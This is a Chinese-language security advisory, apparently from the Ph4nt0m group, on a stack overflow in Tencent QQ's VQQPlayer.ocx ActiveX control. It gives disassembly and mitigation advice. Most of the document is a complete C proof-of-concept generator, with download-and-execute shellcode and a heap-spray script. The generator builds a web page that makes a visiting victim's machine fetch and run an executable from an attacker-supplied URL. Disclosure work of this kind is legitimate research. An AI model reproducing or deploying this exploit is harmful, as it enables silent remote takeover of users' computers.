Tencent QQ 多个远程溢出漏洞
 
by axis(axis_at_ph4nt0m.org)
[url]http://www.ph4nt0m.org[/url]
 
 
摘要:
 
    QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。DSW Avert200612.31发现了QQ的几个0day漏洞,并通知了QQ官方。QQ2007.1.1进行了升级。事实上,在此之前,幻影旅团(ph4nt0m)axis就已经发现了这些漏洞,出于一些原因未曾公布,现在漏洞被公开了,所以将细节和可利用的POC公布如下:
    QQ的这几个漏洞,均是由于Activex Control造成的,相关dll分别是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx
 
    其中有一个成功利用后,将可远程控制用户电脑,因为是activex的,所以只需要用户安装过QQ,甚至不需要其登录,就可以成功利用。
 
    另外几个漏洞分别是拒绝服务漏洞,不可执行,在此不再赘述。
 
 
 
影响版本:
 
    Tencent QQ2006正式版及之前所有版本。(未升级2007.1.1补丁)
 
 
 
细节:
 
    VQQPLAYER.OCX中,由于程序员的粗心,存在一个栈溢出漏洞,在函数返回时,可以控制EIP
    漏洞存在的MethodLaunchP2PShare,
    ClassId{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}
    其原型是:
    [id(0x00000030)]
VARIANT_BOOL LaunchP2PShare(
                BSTR szExeName,
                long nDuration);
   
    第一个参数没有进行长度检查,为超长字符串时,将造成一个栈溢出。
 
 
   
   
 
    幻影旅团将对此发布一个POC代码,请勿将此作为非法用途
 
 
POC:
 
----------------------------------------------------------------------------------------
/*
*-----------------------------------------------------------------------
*
* Tencent QQ VQQPlayer.ocx (all version) 0day
*
*
* Author: axis
* Date: 2006-12-27
* Mail: [email]axis@ph4nt0m.org[/email]
*
* Bug discovered by [email]axis@ph4nt0m.org[/email]
*          :
*          :
*          :
*          :
*          :Usage: filename <exe_URL> [htmlfile]
*          :       filename.exe [url]http://site.com/file.exe[/url] localhtml.htm 
*
*  VQQPlayer.ocx中的LaunchP2PShare函数的第一个参数没有做边界检查,超长将在MFC42.dll覆盖到eipseh
*  QQvc6编译的,所以可以用覆盖返回地址的方法,不过要求覆盖eip和以前的是可见字符,要求比较苛刻
*  而且覆盖返回地址的方法,和QQ安装路径有关,因为是这样覆盖起 c:\program files\tencent\qq\AAAAA....
*  覆盖seh方法比较通用,使用heap spray的方法,跳到0x0c0c0c0c中去执行shellcode,但是会关闭ie
*
*
* 
*
 
04534E5F    55              PUSH EBP
04534E60    8BEC            MOV EBP,ESP
04534E62    81EC 60060000   SUB ESP,660
04534E68    53              PUSH EBX
04534E69    33DB            XOR EBX,EBX
04534E6B    395D 08         CMP DWORD PTR SS:[EBP+8],EBX
04534E6E    56              PUSH ESI
04534E6F    57              PUSH EDI
04534E70    8BF1            MOV ESI,ECX
04534E72    75 11           JNZ SHORT VQQPLA~1.04534E85
04534E74    C786 8C040000 1>MOV DWORD PTR DS:[ESI+48C],12
04534E7E    33C0            XOR EAX,EAX
04534E80    E9 42010000     JMP VQQPLA~1.04534FC7
04534E85    8B45 0C         MOV EAX,DWORD PTR SS:[EBP+C]
04534E88    3BC3            CMP EAX,EBX
04534E8A    8945 0C         MOV DWORD PTR SS:[EBP+C],EAX
04534E8D    7F 07           JG SHORT VQQPLA~1.04534E96
04534E8F    C745 0C 0A00000>MOV DWORD PTR SS:[EBP+C],0A
04534E96    BF 04010000     MOV EDI,104
04534E9B    8D85 A0FDFFFF   LEA EAX,DWORD PTR SS:[EBP-260]
04534EA1    57              PUSH EDI
04534EA2    53              PUSH EBX
04534EA3    50              PUSH EAX
04534EA4    E8 437F0000     CALL <JMP.&MSVCRT.memset>
04534EA9    57              PUSH EDI
04534EAA    8D85 A4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-15C]
04534EB0    53              PUSH EBX
04534EB1    50              PUSH EAX
04534EB2    E8 357F0000     CALL <JMP.&MSVCRT.memset>
04534EB7    83C4 18         ADD ESP,18
04534EBA    897D FC         MOV DWORD PTR SS:[EBP-4],EDI
04534EBD    E8 6E780000     CALL <JMP.&MFC42.#1168_?AfxGetModuleStat>
04534EC2    8B40 04         MOV EAX,DWORD PTR DS:[EAX+4]
04534EC5    8B78 6C         MOV EDI,DWORD PTR DS:[EAX+6C]
04534EC8    8D85 A4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-15C]
04534ECE    57              PUSH EDI
04534ECF    50              PUSH EAX
04534ED0    E8 C3250000     CALL VQQPLA~1.04537498
04534ED5    FF75 08         PUSH DWORD PTR SS:[EBP+8]
04534ED8    8D85 A4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-15C]
04534EDE    50              PUSH EAX
04534EDF    E8 027F0000     CALL <JMP.&MSVCRT.strcat>                ; 溢出
 
 
[ebp-15c]处是QQ安装目录, [ebp+8]处是传递的第一个参数
 
 
  shellcode使用 add esp, 4dch
                pop ebp
              retn 24h
              安全退出返回到上层函数 mshtml.dll
 
 
 
 
 
*         
*------------------------------------------------------------------------
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
FILE *fp = NULL;
char *file = "fuck_exp1.html";
char *url = NULL;
 
 
//Download Shellcode by swan@0x557  bypass防火墙
// axis@ph4n0m加入了恢复栈平衡,不挂ie
unsigned char sc[] =    
"\x60\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x70"
"\x08\x81\xec\x00\x04\x00\x00\x8b\xec\x56\x68\x8e\x4e\x0e\xec\xe8"
"\xff\x00\x00\x00\x89\x45\x04\x56\x68\x98\xfe\x8a\x0e\xe8\xf1\x00"
"\x00\x00\x89\x45\x08\x56\x68\x25\xb0\xff\xc2\xe8\xe3\x00\x00\x00"
"\x89\x45\x0c\x56\x68\xef\xce\xe0\x60\xe8\xd5\x00\x00\x00\x89\x45"
"\x10\x56\x68\xc1\x79\xe5\xb8\xe8\xc7\x00\x00\x00\x89\x45\x14\x40"
"\x80\x38\xc3\x75\xfa\x89\x45\x18\xe9\x08\x01\x00\x00\x5e\x89\x75"
"\x24\x8b\x45\x04\x6a\x01\x59\x8b\x55\x18\x56\xe8\x8c\x00\x00\x00"
"\x50\x68\x36\x1a\x2f\x70\xe8\x98\x00\x00\x00\x89\x45\x1c\x8b\xc5"
"\x83\xc0\x50\x89\x45\x20\x68\xff\x00\x00\x00\x50\x8b\x45\x14\x6a"
"\x02\x59\x8b\x55\x18\xe8\x62\x00\x00\x00\x03\x45\x20\xc7\x00\x5c"
"\x7e\x2e\x65\xc7\x40\x04\x78\x65\x00\x00\xff\x75\x20\x8b\x45\x0c"
"\x6a\x01\x59\x8b\x55\x18\xe8\x41\x00\x00\x00\x6a\x07\x58\x03\x45"
"\x24\x33\xdb\x53\x53\xff\x75\x20\x50\x53\x8b\x45\x1c\x6a\x05\x59"
"\x8b\x55\x18\xe8\x24\x00\x00\x00\x6a\x00\xff\x75\x20\x8b\x45\x08"
"\x6a\x02\x59\x8b\x55\x18\xe8\x11\x00\x00\x00\x81\xc4\x00\x04\x00"
"\x00\x61\x81\xc4\xdc\x04\x00\x00\x5d\xc2\x24\x00\x41\x5b\x52\x03"
"\xe1\x03\xe1\x03\xe1\x03\xe1\x83\xec\x04\x5a\x53\x8b\xda\xe2\xf7"
"\x52\xff\xe0\x55\x8b\xec\x8b\x7d\x08\x8b\x5d\x0c\x56\x8b\x73\x3c"
"\x8b\x74\x1e\x78\x03\xf3\x56\x8b\x76\x20\x03\xf3\x33\xc9\x49\x41"
"\xad\x03\xc3\x56\x33\xf6\x0f\xbe\x10\x3a\xf2\x74\x08\xc1\xce\x0d"
"\x03\xf2\x40\xeb\xf1\x3b\xfe\x5e\x75\xe5\x5a\x8b\xeb\x8b\x5a\x24"
"\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5"
"\x5e\x5d\xc2\x08\x00\xe8\xf3\xfe\xff\xff\x55\x52\x4c\x4d\x4f\x4e"
"\x00";
 
char * header =
"<!--  axis' exploit!  -->\n\n"
"<html>\n"
"<head>\n"
"<script language=\"javascript\">\n"
"\tvar heapSprayToAddress = 0x0c010101;\n"
"\tvar shellcode = unescape(\"%u9090\"+\"%u9090\"+ \n";
 
 
 
 
char * footer =
"\n"
"var heapBlockSize = 0x100000;\n"             //如果太小了,会造成时间上来不及分配,导致溢出失败
"var payLoadSize = shellcode.length * 2;\n"
"var spraySlideSize = heapBlockSize - (payLoadSize+0x38);\n"
"var spraySlide = unescape(\"%u9090%u9090\");\n"
"spraySlide = getSpraySlide(spraySlide,spraySlideSize);\n"
"heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;\n"
"memory = new Array();\n\n"
"for (i=0;i<heapBlocks;i++)\n{\n"
"\t\tmemory[i] = spraySlide + shellcode;\n}\n"
 
"function getSpraySlide(spraySlide, spraySlideSize)\n{\n\t"
"while (spraySlide.length*2<spraySlideSize)\n\t"
"{\n\t\tspraySlide += spraySlide;\n\t}\n"
"\tspraySlide = spraySlide.substring(0,spraySlideSize/2);\n\treturn spraySlide;\n}\n\n"
"</script>\n";
 
 
 
char * trigger =
"\n<script>\n"
"function AxisFun()\n"
"{\n"
"\tevil.LaunchP2PShare(\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\\x0c\", 10000);\n"
 
"\n}\n"
 
"</script>\n"
"</head>\n"
"<OBJECT ID=\"evil\" CLASSID=\"CLSID:{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2}\"></OBJECT>\n"
 
"<script>javascript:AxisFun();</script>\n"
"</html>\n";
 
 
// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
   int i;
   for(i=0;i<buffsize;i+=2)
   {
       if((i%16)==0)
       {
           if(i!=0)
           {
               printf("\"\n\"");
               fprintf(fp, "%s", "\" +\n\"");
           }
           else
           {
               printf("\"");
               fprintf(fp, "%s", "\"");
           }
       }
          
       printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
      
       fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
     }
    
 
      //shellcode打印在header后面,然后用 " ) " 闭合
       printf("\";\n");
       fprintf(fp, "%s", "\");\n");         
  
  
   fflush(fp);
}
 
 
 
 
void main(int argc, char **argv)
{
   unsigned char buf[1024] = {0};
 
   int sc_len = 0;
 
 
   if (argc < 2)
   {
      printf("Tencent QQ VQQPlayer.ocx (all version) 0day!\n");
      printf("Bug Found by axis@ph4nt0m\n");
         printf("Date: 2006-12-27\n");
      printf("\r\nUsage: %s <URL> [Local htmlfile]\r\n\n", argv[0]);
      exit(1);
   }
  
   url = argv[1];
  
 
    if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10)
    {
        printf("[-] Invalid url. Must start with 'http://','ftp://'\n");
        return;               
    }
 
      printf("[+] download url:%s\n", url);
     
      if(argc >=3) file = argv[2];
      printf("[+] exploit file:%s\n", file);
      
   fp = fopen(file, "w");
   if(!fp)
   {
       printf("[-] Open file error!\n");
          return;
   }   
  
 
   //build evil html file
   fprintf(fp, "%s", header);
   fflush(fp);
  
   memset(buf, 0, sizeof(buf));
   sc_len = sizeof(sc)-1;
   memcpy(buf, sc, sc_len);
   memcpy(buf+sc_len, url, strlen(url));
  
   sc_len += strlen(url)+1;
   PrintPayLoad((char *)buf, sc_len);
 
   fprintf(fp, "%s", footer);
   fflush(fp); 
 
   fprintf(fp, "%s", trigger);
   fflush(fp);
  
   printf("[+] exploit write to %s success!\n", file);
}
 
 
 
----------------------------------------------------------------------------------------
 
建议:
 
禁止ie执行activex
 
 
厂商补丁:
目前厂商已经在2007.1.1日发布了升级补丁,请用户自行升级QQ
 
[url]http://www.qq.com[/url]
 
 
 
关于Ph4nt0m:
    Ph4nt0m是国内的一个安全组织,由一群来自五湖四海的朋友,因为共同热爱网络安全而走到一起来。
    欢迎访问我们的网站[url]http://www.ph4nt0m.org[/url]